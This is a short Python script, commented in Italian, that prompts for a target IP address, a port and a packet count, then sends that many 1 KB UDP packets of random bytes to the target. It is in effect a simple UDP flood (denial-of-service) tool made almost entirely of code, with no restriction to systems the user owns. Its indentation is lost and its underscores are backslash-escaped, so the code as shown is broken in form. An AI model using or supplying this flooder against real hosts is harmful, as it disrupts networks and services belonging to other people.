import random

import socket

# Funzione per generare un pacchetto UDP da 1 KB

def genera\_pacchetto():

return bytes(random.getrandbits(8) for \_ in range(1024))

# Richiesta all'utente dell'IP e porta target

ip\_target = input("Inserisci l'IP target: ")

porta\_target = int(input("Inserisci la porta target: "))

# Richiesta all'utente del numero di pacchetti da inviare

numero\_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))

# Creazione del socket UDP

sock = socket.socket(socket.AF\_INET, socket.SOCK\_DGRAM)

# Invio dei pacchetti UDP

for \_ in range(numero\_pacchetti):

pacchetto = genera\_pacchetto()

sock.sendto(pacchetto, (ip\_target, porta\_target))

# Chiusura del socket

sock.close()

print(f"Inviati {numero\_pacchetti} pacchetti UDP all'indirizzo {ip\_target}:{porta\_target}")



